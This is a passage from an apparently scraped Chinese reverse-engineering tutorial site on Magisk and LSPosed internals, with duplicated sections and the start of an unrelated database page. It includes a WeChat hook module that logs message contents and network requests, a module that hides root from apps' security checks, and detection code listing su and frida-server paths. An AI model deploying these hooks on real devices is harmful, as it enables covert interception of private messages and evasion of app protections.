handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable { // 只处理微信 if (!lpparam.packageName.equals(WECHAT_PACKAGE)) { return; } XposedBridge.log(TAG + \": Hooking WeChat\"); // Hook 发送消息的方法 hookSendMessage(lpparam.classLoader); // Hook 接收消息的方法 hookReceiveMessage(lpparam.classLoader); // Hook 登录流程 hookLogin(lpparam.classLoader); } /** * Hook 发送消息 */ private void hookSendMessage(ClassLoader classLoader) { try { // 查找消息管理类 // 注意: 实际类名可能被混淆，需要分析 Class\u003c?\u003e msgManagerClass = XposedHelpers.findClass( \"com.tencent.mm.modelmulti.MMSessionProcessor\", classLoader ); // Hook sendMessage 方法 XposedHelpers.findAndHookMethod( msgManagerClass, \"sendMessage\", String.class, // 接收者 String.class, // 消息内容 int.class, // 消息类型 new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String receiver = (String) param.args[0]; String content = (String) param.args[1]; int msgType = (int) param.args[2]; XposedBridge.log(TAG + \": Sending message\"); XposedBridge.log(TAG + \": To: \" + receiver); XposedBridge.log(TAG + \": Content: \" + content); XposedBridge.log(TAG + \": Type: \" + msgType); // 可以在这里修改消息内容 // param.args[1] = content + \" [Modified]\"; // 或者阻止发送 // param.setResult(null); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { // 消息发送后的处理 Object result = param.getResult(); XposedBridge.log(TAG + \": Message sent, result: \" + result); } } ); XposedBridge.log(TAG + \": sendMessage hooked\"); } catch (Throwable t) { XposedBridge.log(TAG + \": Failed to hook sendMessage\"); XposedBridge.log(t); } } /** * Hook 接收消息 */ private void hookReceiveMessage(ClassLoader classLoader) { try { // Hook 消息数据库插入 Class\u003c?\u003e sqliteClass = XposedHelpers.findClass( \"com.tencent.mm.storage.SqliteDB\", classLoader ); XposedHelpers.findAndHookMethod( sqliteClass, \"insert\", String.class, // 表名 String.class, // nullColumnHack \"android.content.ContentValues\", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String tableName = (String) param.args[0]; // 只关心消息表 if (!\"message\".equals(tableName)) { return; } Object contentValues = param.args[2]; // 提取消息内容 String content = (String) XposedHelpers.callMethod( contentValues, \"getAsString\", \"content\" ); String talker = (String) XposedHelpers.callMethod( contentValues, \"getAsString\", \"talker\" ); XposedBridge.log(TAG + \": Received message\"); XposedBridge.log(TAG + \": From: \" + talker); XposedBridge.log(TAG + \": Content: \" + content); } } ); XposedBridge.log(TAG + \": receiveMessage hooked\"); } catch (Throwable t) { XposedBridge.log(TAG + \": Failed to hook receiveMessage\"); XposedBridge.log(t); } } /** * Hook 登录流程 */ private void hookLogin(ClassLoader classLoader) { try { // Hook 网络请求类 Class\u003c?\u003e networkClass = XposedHelpers.findClass( \"com.tencent.mm.network.MMHttpClient\", classLoader ); XposedHelpers.findAndHookMethod( networkClass, \"execute\", \"com.tencent.mm.network.MMHttpRequest\", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Object request = param.args[0]; // 获取请求 URL String url = (String) XposedHelpers.getObjectField(request, \"url\"); // 获取请求体 byte[] body = (byte[]) XposedHelpers.getObjectField(request, \"body\"); XposedBridge.log(TAG + \": HTTP Request\"); XposedBridge.log(TAG + \": URL: \" + url); if (body != null) { XposedBridge.log(TAG + \": Body length: \" + body.length); } } @Override protected void afte","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:4:4","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#34-xposed-模块示例"},{"categories":null,"collections":null,"content":"4. LSPosed 与原版 Xposed 的区别 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:5:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#4-lsposed-与原版-xposed-的区别"},{"categories":null,"collections":null,"content":"4.1 架构对比 特性 原版 Xposed LSPosed Root 方式 修改 /system 基于 Magisk (Systemless) 注入方式 替换 app_process Zygisk 模块 作用范围 全局 可选择性启用 检测规避 无 支持白名单模式 Android 支持 最高 8.x 8.0 - 14+ 维护状态 停止更新 活跃开发 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:5:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#41-架构对比"},{"categories":null,"collections":null,"content":"4.2 LSPosed 作用域控制 /** * LSPosed 允许为每个模块指定作用域 * 只有在作用域内的 App 才会被 Hook */ // LSPosed Manager 中的配置存储 // /data/adb/lspd/config/\u003cmodule_package\u003e/scope.list // 作用域列表格式: // com.tencent.mm # 微信 // com.tencent.mobileqq # QQ // system # 系统框架 /** * LSPosed 加载模块时会检查作用域 */ public class ModuleLoader { public boolean shouldLoadModule(String modulePkg, String targetPkg) { // 读取作用域配置 Set\u003cString\u003e scope = readModuleScope(modulePkg); // 检查目标 App 是否在作用域内 return scope.contains(targetPkg) || scope.contains(\"*\"); } private Set\u003cString\u003e readModuleScope(String modulePkg) { File scopeFile = new File( \"/data/adb/lspd/config/\" + modulePkg + \"/scope.list\" ); Set\u003cString\u003e scope = new HashSet\u003c\u003e(); try (BufferedReader reader = new BufferedReader(new FileReader(scopeFile))) { String line; while ((line = reader.readLine()) != null) { line = line.trim(); if (!line.isEmpty() \u0026\u0026 !line.startsWith(\"#\")) { scope.add(line); } } } catch (IOException e) { // 默认空作用域 } return scope; } } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:5:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#42-lsposed-作用域控制"},{"categories":null,"collections":null,"content":"5.3 按需注入机制 老版 Xposed 的致命缺点是全局注入：安装一个微信模块，Xposed 会把这个模块强行塞进系统里每一个进程（包括支付宝、系统设置、计算器）。 问题后果： 系统变慢、耗电 极易崩溃（不兼容就崩） 检测点多，容易被发现 LSPosed 的革新 - 按需注入： /** * LSPosed 按需注入实现 * * 流程: * 1. 新 App 启动 (从 Zygote fork) * 2. LSPosed 桩代码检查: 这个 App 是谁? * 3. 查询配置: 哪些模块勾选了这个 App? * 4. 只加载相关模块 */ public class LSPosedModuleManager { // 模块作用域配置 // /data/adb/lspd/config/\u003cmodule\u003e/scope.list private Map\u003cString, Set\u003cString\u003e\u003e moduleScopes = new HashMap\u003c\u003e(); /** * 当 App fork 后调用 */ public void onAppForked(String packageName, int uid) { // 遍历所有已启用的模块 for (ModuleInfo module : getEnabledModules()) { // 检查该 App 是否在模块作用域中 if (isInScope(module.packageName, packageName)) { // 加载该模块 loadModule(module, packageName); Log.d(\"LSPosed\", \"Loaded \" + module.name + \" for \" + packageName); } } } private boolean isInScope(String modulePkg, String targetPkg) { Set\u003cString\u003e scope = moduleScopes.get(modulePkg); if (scope == null) return false; // 检查是否在作用域中 // 支持通配符 \"*\" 表示全局 return scope.contains(targetPkg) || scope.contains(\"*\") || (targetPkg.equals(\"system\") \u0026\u0026 scope.contains(\"system\")); } } 优势对比： 特性 原版 Xposed LSPosed 注入范围 所有进程 仅勾选的 App 系统性能 明显下降 几乎无影响 稳定性 容易崩溃 稳定 检测难度 容易检测 更难检测 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:5:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#53-按需注入机制"},{"categories":null,"collections":null,"content":"5.4 Binder 跨进程通信 LSPosed 分为两部分： LSPosed Manager：用户看到的管理 App，负责配置模块 LSPosed Core：寄生在 Zygote 和各个 App 里的核心代码 由于它们在不同的进程，LSPosed 高度依赖 Android 的 Binder 机制进行通讯。 /** * LSPosed Binder 通信架构 */ // ==================== LSPosed Manager 侧 ==================== /** * Manager App 通过 Binder 与 Core 通信 */ public class LSPosedManagerService extends ILSPosedManager.Stub { /** * 获取模块列表 */ @Override public List\u003cModuleInfo\u003e getModuleList() { // 通过 Binder 调用 Core 的服务 return getRemoteService().getModuleList(); } /** * 更新模块作用域 */ @Override public void updateModuleScope(String modulePkg, List\u003cString\u003e scope) { // 写入配置 writeScope(modulePkg, scope); // 通知 Core 重新加载配置 getRemoteService().reloadConfig(); } /** * 启用/禁用模块 */ @Override public void setModuleEnabled(String modulePkg, boolean enabled) { // 更新模块状态 updateModuleStatus(modulePkg, enabled); // 重启相关 App 才能生效 // (或等待下次 App 启动) } } // ==================== LSPosed Core 侧 ==================== /** * Core 运行在 system_server 中 * 通过隐藏的 Binder 服务与 Manager 通信 */ public class LSPosedService extends ILSPosedService.Stub { /** * 获取激活的模块列表 */ @Override public List\u003cModuleInfo\u003e getActiveModules(String targetPackage) { List\u003cModuleInfo\u003e result = new ArrayList\u003c\u003e(); for (ModuleInfo module : allModules) { if (module.enabled \u0026\u0026 isInScope(module, targetPackage)) { result.add(module); } } return result; } /** * 重新加载配置 * Manager 修改配置后调用 */ @Override public void reloadConfig() { // 重新读取配置文件 loadModuleConfigs(); // 通知正在运行的 Hook 更新 notifyConfigChanged(); } } Binder 服务发现： // LSPosed 使用隐藏的方式注册 Binder 服务 // 避免被其他 App 发现 // 1. Core 在 system_server 中注册服务 ServiceManager.addService(\"org.lsposed.daemon\", mService, true, DUMP_FLAG_PRIORITY_NORMAL); // 2. Manager 通过特殊方式获取服务 // 而不是普通的 ServiceManager.getService() IBinder binder = new ShizukuBinderProxy().getService(\"org.lsposed.daemon\"); ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:5:4","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#54-binder-跨进程通信"},{"categories":null,"collections":null,"content":"6. Hook 技术选型对比 在 Android 逆向中，常用的 Hook 技术有三类：LSPosed (Xposed)、Frida、Inline Hook 框架。以下是详细对比和选型建议。 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#6-hook-技术选型对比"},{"categories":null,"collections":null,"content":"6.1 技术对比 维度 LSPosed/Xposed Frida Inline Hook 框架 Hook 层级 Java 方法 Java + Native Native 函数 注入时机 App 启动时 运行时动态注入 编译时 / 运行时 持久性 永久生效 临时 (进程重启失效) 取决于实现 开发语言 Java/Kotlin JavaScript/Python C/C++ 上手难度 简单 中等 较难 Root 需求 需要 (Magisk) 需要 取决于实现 检测难度 中等 较易检测 较难检测 适用场景 长期使用的功能模块 快速分析、动态调试 高性能、低侵入 Hook ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#61-技术对比"},{"categories":null,"collections":null,"content":"6.2 详细对比 LSPosed/Xposed 模块 优势： 开发简单，Java API 友好 持久生效，重启后仍有效 社区生态丰富，模块众多 与 Magisk 生态集成良好 劣势： 只能 Hook Java 层方法 需要编译 APK，迭代较慢 修改后需要重启 App 适用场景： ✅ 微信防撤回、去广告等长期使用的功能 ✅ 系统级功能修改 ✅ 发布给其他用户使用的模块 ✅ 不需要频繁修改的稳定 Hook Frida 优势： 动态注入，即时生效 支持 Java + Native 层 脚本语言开发，迭代极快 强大的内存操作能力 适合快速分析和调试 劣势： 进程重启后需要重新注入 容易被检测 (frida-server 特征明显) 性能开销较大 部署需要 frida-server 适用场景： ✅ 逆向分析、快速验证想法 ✅ 动态调试、参数监控 ✅ 加密算法分析、数据抓取 ✅ 一次性的分析任务 Inline Hook 框架 (Dobby/ShadowHook/bhook) 优势： 高性能，开销极小 难以检测 (无明显特征) 支持 Hook 任意函数地址 可嵌入目标 App 中 劣势： 开发难度大，需要 C/C++ 调试困难 需要处理 ABI、指令集等细节 适用场景： ✅ 风控 SDK 开发 ✅ 高性能监控 ✅ 需要隐蔽的 Hook ✅ 嵌入式 Hook (集成到 App 中) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#62-详细对比"},{"categories":null,"collections":null,"content":"6.2 详细对比 LSPosed/Xposed 模块 优势： 开发简单，Java API 友好 持久生效，重启后仍有效 社区生态丰富，模块众多 与 Magisk 生态集成良好 劣势： 只能 Hook Java 层方法 需要编译 APK，迭代较慢 修改后需要重启 App 适用场景： ✅ 微信防撤回、去广告等长期使用的功能 ✅ 系统级功能修改 ✅ 发布给其他用户使用的模块 ✅ 不需要频繁修改的稳定 Hook Frida 优势： 动态注入，即时生效 支持 Java + Native 层 脚本语言开发，迭代极快 强大的内存操作能力 适合快速分析和调试 劣势： 进程重启后需要重新注入 容易被检测 (frida-server 特征明显) 性能开销较大 部署需要 frida-server 适用场景： ✅ 逆向分析、快速验证想法 ✅ 动态调试、参数监控 ✅ 加密算法分析、数据抓取 ✅ 一次性的分析任务 Inline Hook 框架 (Dobby/ShadowHook/bhook) 优势： 高性能，开销极小 难以检测 (无明显特征) 支持 Hook 任意函数地址 可嵌入目标 App 中 劣势： 开发难度大，需要 C/C++ 调试困难 需要处理 ABI、指令集等细节 适用场景： ✅ 风控 SDK 开发 ✅ 高性能监控 ✅ 需要隐蔽的 Hook ✅ 嵌入式 Hook (集成到 App 中) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#lsposedxposed-模块"},{"categories":null,"collections":null,"content":"6.2 详细对比 LSPosed/Xposed 模块 优势： 开发简单，Java API 友好 持久生效，重启后仍有效 社区生态丰富，模块众多 与 Magisk 生态集成良好 劣势： 只能 Hook Java 层方法 需要编译 APK，迭代较慢 修改后需要重启 App 适用场景： ✅ 微信防撤回、去广告等长期使用的功能 ✅ 系统级功能修改 ✅ 发布给其他用户使用的模块 ✅ 不需要频繁修改的稳定 Hook Frida 优势： 动态注入，即时生效 支持 Java + Native 层 脚本语言开发，迭代极快 强大的内存操作能力 适合快速分析和调试 劣势： 进程重启后需要重新注入 容易被检测 (frida-server 特征明显) 性能开销较大 部署需要 frida-server 适用场景： ✅ 逆向分析、快速验证想法 ✅ 动态调试、参数监控 ✅ 加密算法分析、数据抓取 ✅ 一次性的分析任务 Inline Hook 框架 (Dobby/ShadowHook/bhook) 优势： 高性能，开销极小 难以检测 (无明显特征) 支持 Hook 任意函数地址 可嵌入目标 App 中 劣势： 开发难度大，需要 C/C++ 调试困难 需要处理 ABI、指令集等细节 适用场景： ✅ 风控 SDK 开发 ✅ 高性能监控 ✅ 需要隐蔽的 Hook ✅ 嵌入式 Hook (集成到 App 中) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#frida"},{"categories":null,"collections":null,"content":"6.2 详细对比 LSPosed/Xposed 模块 优势： 开发简单，Java API 友好 持久生效，重启后仍有效 社区生态丰富，模块众多 与 Magisk 生态集成良好 劣势： 只能 Hook Java 层方法 需要编译 APK，迭代较慢 修改后需要重启 App 适用场景： ✅ 微信防撤回、去广告等长期使用的功能 ✅ 系统级功能修改 ✅ 发布给其他用户使用的模块 ✅ 不需要频繁修改的稳定 Hook Frida 优势： 动态注入，即时生效 支持 Java + Native 层 脚本语言开发，迭代极快 强大的内存操作能力 适合快速分析和调试 劣势： 进程重启后需要重新注入 容易被检测 (frida-server 特征明显) 性能开销较大 部署需要 frida-server 适用场景： ✅ 逆向分析、快速验证想法 ✅ 动态调试、参数监控 ✅ 加密算法分析、数据抓取 ✅ 一次性的分析任务 Inline Hook 框架 (Dobby/ShadowHook/bhook) 优势： 高性能，开销极小 难以检测 (无明显特征) 支持 Hook 任意函数地址 可嵌入目标 App 中 劣势： 开发难度大，需要 C/C++ 调试困难 需要处理 ABI、指令集等细节 适用场景： ✅ 风控 SDK 开发 ✅ 高性能监控 ✅ 需要隐蔽的 Hook ✅ 嵌入式 Hook (集成到 App 中) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#inline-hook-框架-dobbyshadowhookbhook"},{"categories":null,"collections":null,"content":"6.3 选型决策流程 你的需求是什么? │ ├── 快速分析 App 行为 │ └── 选择 Frida ✅ │ ├── 开发给自己/他人长期使用的功能 │ └── Java 层 Hook 够用吗? │ ├── 是 → 选择 LSPosed ✅ │ └── 否 → 结合 LSPosed + Native Hook │ ├── 开发风控/安全 SDK │ └── 选择 Inline Hook (Dobby/ShadowHook) ✅ │ └── 需要隐蔽的 Hook └── 选择 Inline Hook ✅ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#63-选型决策流程"},{"categories":null,"collections":null,"content":"6.4 组合使用方案 实际项目中，往往需要组合使用多种技术： 方案一：LSPosed + Frida 开发流程: 1. 用 Frida 快速分析、定位关键函数 2. 确认 Hook 点后，用 LSPosed 模块实现持久化 适用: 大多数逆向项目 方案二：LSPosed + Inline Hook /** * LSPosed 模块中调用 Native Inline Hook */ public class MyXposedModule implements IXposedHookLoadPackage { @Override public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) { // Java 层 Hook XposedHelpers.findAndHookMethod(...); // 加载 Native 库进行 Inline Hook System.loadLibrary(\"myhook\"); nativeInit(); // 执行 Dobby Hook } private native void nativeInit(); } 方案三：Frida + Inline Hook 定位 // 用 Frida 定位函数后，获取地址 var targetFunc = Module.findExportByName(\"libtarget.so\", \"encrypt\"); console.log(\"encrypt address: \" + targetFunc); // 然后用 Inline Hook 框架做持久化 Hook // Frida 脚本输出: // encrypt address: 0x7a3b4c5d00 // 将此地址用于 Dobby Hook ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:4","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#64-组合使用方案"},{"categories":null,"collections":null,"content":"6.5 性能对比 技术 Hook 安装开销 每次调用开销 内存占用 LSPosed 中 中 较大 Frida 高 高 很大 PLT Hook 低 极低 小 Inline Hook 中 低 小 性能敏感场景推荐： 高频函数 (如加密函数) → PLT Hook (bhook/xHook) 任意地址 Hook → Inline Hook (Dobby/ShadowHook) 分析调试阶段 → Frida (不在意性能) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:6:5","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#65-性能对比"},{"categories":null,"collections":null,"content":"7. 检测与对抗 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:7:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#7-检测与对抗"},{"categories":null,"collections":null,"content":"7.1 常见检测方法 /** * App 检测 Root/Xposed 的常用方法 */ public class RootDetection { /** * 检测 su 二进制 */ public boolean checkSuBinary() { String[] paths = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/data/local/xbin/su\", \"/data/local/bin/su\", \"/data/local/su\" }; for (String path : paths) { if (new File(path).exists()) { return true; // 检测到 Root } } return false; } /** * 检测 Magisk 特征 */ public boolean checkMagisk() { // 检查 Magisk 相关路径 if (new File(\"/sbin/.magisk\").exists()) return true; if (new File(\"/data/adb/magisk\").exists()) return true; // 检查 Magisk 属性 String magiskVersion = getSystemProperty(\"magisk.version\"); if (magiskVersion != null \u0026\u0026 !magiskVersion.isEmpty()) { return true; } return false; } /** * 检测 Xposed 框架 */ public boolean checkXposed() { // 方法1: 检查堆栈 try { throw new Exception(\"detect\"); } catch (Exception e) { for (StackTraceElement element : e.getStackTrace()) { if (element.getClassName().contains(\"xposed\")) { return true; } } } // 方法2: 检查类加载器 try { ClassLoader.getSystemClassLoader().loadClass( \"de.robv.android.xposed.XposedBridge\" ); return true; } catch (ClassNotFoundException e) { // 没有找到 } // 方法3: 检查 native 方法特征 // Xposed 会修改某些 native 方法的实现 return false; } /** * 检测 Hook 框架 (通用) */ public boolean checkHookFramework() { // 检查常见 Hook 框架的特征文件 String[] hookIndicators = { \"/data/data/de.robv.android.xposed.installer\", \"/data/data/org.lsposed.manager\", \"/data/data/com.saurik.substrate\", \"/data/local/tmp/frida-server\" }; for (String path : hookIndicators) { if (new File(path).exists()) { return true; } } // 检查内存中的 Hook 特征 return checkNativeHooks(); } /** * 检测 native 层 Hook */ private native boolean checkNativeHooks(); } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:7:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#71-常见检测方法"},{"categories":null,"collections":null,"content":"7.2 绕过检测 /** * LSPosed 模块: 绕过 Root 检测 */ public class RootHider implements IXposedHookLoadPackage { @Override public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable { // Hook File.exists() XposedHelpers.findAndHookMethod( File.class, \"exists\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String path = ((File) param.thisObject).getAbsolutePath(); // 隐藏 Root 相关文件 if (isRootRelatedPath(path)) { param.setResult(false); } } } ); // Hook Runtime.exec() XposedHelpers.findAndHookMethod( Runtime.class, \"exec\", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String cmd = (String) param.args[0]; // 阻止执行 which su, su 等命令 if (cmd.contains(\"su\") || cmd.contains(\"magisk\")) { param.setThrowable(new IOException(\"Command not found\")); } } } ); // Hook System.getProperty() / Build 类 // 修改设备指纹等 // Hook PackageManager // 隐藏 Magisk/Xposed 应用 } private boolean isRootRelatedPath(String path) { String[] patterns = { \"su\", \"magisk\", \"supersu\", \"xposed\", \"lsposed\", \"/sbin/\", \"/data/adb/\" }; path = path.toLowerCase(); for (String pattern : patterns) { if (path.contains(pattern)) { return true; } } return false; } } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:7:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#72-绕过检测"},{"categories":null,"collections":null,"content":"8. 总结 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:8:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#8-总结"},{"categories":null,"collections":null,"content":"8.1 技术栈总览 技术 核心原理 主要用途 Magisk 修补 boot.img, Systemless Root Root 权限管理、模块加载 MagiskSU Unix Socket + 守护进程 Root 权限请求处理 Riru Native Bridge 劫持注入 Zygote 老版 Zygote 注入框架 Zygisk 修补 app_process 注入 Zygote 官方 Zygote 注入框架 EdXposed Riru + ART Hook 过渡期 Xposed 实现 LSPosed Zygisk/Riru + ART Method Hook 现代 Xposed 实现 DenyList Mount namespace 隔离 对特定 App 隐藏 Root ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:8:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#81-技术栈总览"},{"categories":null,"collections":null,"content":"8.2 框架演进总结 时间线: 2012 ─── Xposed 诞生 (替换 app_process) │ 2016 ─── Magisk 诞生 (Systemless Root) │ 2018 ─── Xposed 停止更新 │ EdXposed 接力 (基于 Riru) │ 2020 ─── LSPosed 发布 (性能优化、按需注入) │ 2021 ─── Magisk v24 引入 Zygisk │ Riru 逐渐被 Zygisk 取代 │ 2023 ─── Riru 官宣停止维护 LSPosed Zygisk 版成为主流 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:8:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#82-框架演进总结"},{"categories":null,"collections":null,"content":"8.3 最佳实践 逆向分析阶段：使用 Frida 快速分析、定位目标 持久化 Hook：使用 LSPosed 模块实现长期生效的功能 高性能需求：使用 Inline Hook 框架 (Dobby/ShadowHook) 隐蔽性需求：使用 Inline Hook + 代码混淆 这些技术共同构成了现代 Android 系统修改的核心基础设施，广泛应用于安全研究、应用开发调试和逆向工程领域。 推荐下一步： SO 反调试与混淆 Native Hook 技术 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:8:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#83-最佳实践"},{"categories":null,"collections":null,"content":"数据存储方案 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:0:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#数据存储方案"},{"categories":null,"collections":null,"content":"概述 爬虫系统需要高效的数据存储方案来处理海量数据。本章介绍常见的存储选型和最佳实践。 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:1:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#概述"},{"categories":null,"collections":null,"content":"存储选型 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:2:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#存储选型"},{"categories":null,"collections":null,"content":"关系型数据库 vs NoSQL 特性 关系型数据库 NoSQL 数据模型 表格、严格 schema 文档、键值、列族 扩展性 垂直扩展 水平扩展 事务支持 ACID 完整支持 部分支持 查询能力 强大的 SQL 受限的查询语言 适用场景 结构化数据、复杂关联 海量数据、高并发写入 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:2:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#关系型数据库-vs-nosql"},{"categories":null,"collections":null,"content":"MySQL ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:3:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#mysql"},{"categories":null,"collections":null,"content":"适用场景 结构化数据存储 需要复杂关联查询 事务要求高 数据量在千万级以下 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:3:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#适用场景"},{"categories":null,"collections":null,"content":"表设计示例 -- 用户表 CREATE TABLE users ( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50) UNIQUE NOT NULL, email VARCHAR(100), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_username (username), INDEX idx_created_at (created_at) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- 文章表 CREATE TABLE articles ( id INT PRIMARY KEY AUTO_INCREMENT, user_id INT NOT NULL, title VARCHAR(200) NOT NULL, content TEXT, view_count INT DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN 